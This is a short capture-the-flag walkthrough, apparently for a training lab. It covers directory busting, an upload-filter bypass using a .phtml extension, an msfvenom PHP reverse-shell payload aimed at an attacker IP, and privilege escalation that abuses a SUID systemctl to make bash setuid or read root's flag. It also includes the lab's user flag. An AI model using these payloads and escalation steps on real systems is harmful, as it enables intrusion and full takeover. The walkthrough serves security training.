Port opened

What version of the squid proxy is running on the machine?

3.5.12

OS Version

Ubuntu

What port is the web server running on?

3333

Directory Busting

gobuster dir -u http://10.10.129.126:3333/ -w /usr/share/wordlists/dirb/big.txt

What is the directory that has an upload form page?

/internal/

Compromise the webserver

Make a php msfvenom payload and try to upload it.

msfvenom -p php/meterpreter/reverse_tcp LHOST=10.8.64.134 LPORT=4444 -f raw > shell.php

What common file type, which you'd want to upload to exploit the server, is blocked? Try a couple to find out.

php

Fuzz allowed extensions with Burp

intercept file upload request in burp. Send to intruder and then select the file extension as parameter(ensure selection after full stop) create a list of php extensions in payload list and check.

cp shell.php shell.phtml

Now upload it and it will be uploaded. but msfvenom shell kept on dying

So generated a php shell from pentest monkey using revshells which worked

What common file type, which you'd want to upload to exploit the server, is blocked? Try a couple to find out.

php

What extension is allowed?

.phtml

What is the name of the user who manages the webserver?

bill

What is the user flag?

8bd7992fbe8a6ad22a63361004cfcedb

Priv Escalation

search for SUID files

find / -perm -u=s -type f 2>/dev/null

On the system, search for all SUID files. What file stands out?

/bin/systemctl

Check GTFOBINS to exploit it and we have a working exploitation method

TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "chmod +s /bin/bash"
[Install]
WantedBy=multi-user.target' > $TF
systemctl link $TF
systemctl enable --now $TF

We can also directly cat out the flag using the command in the following manner

ExecStart=/bin/sh -c "cat /root/root.txt > /tmp/output"

Become root and get the last flag (/root/root.txt)
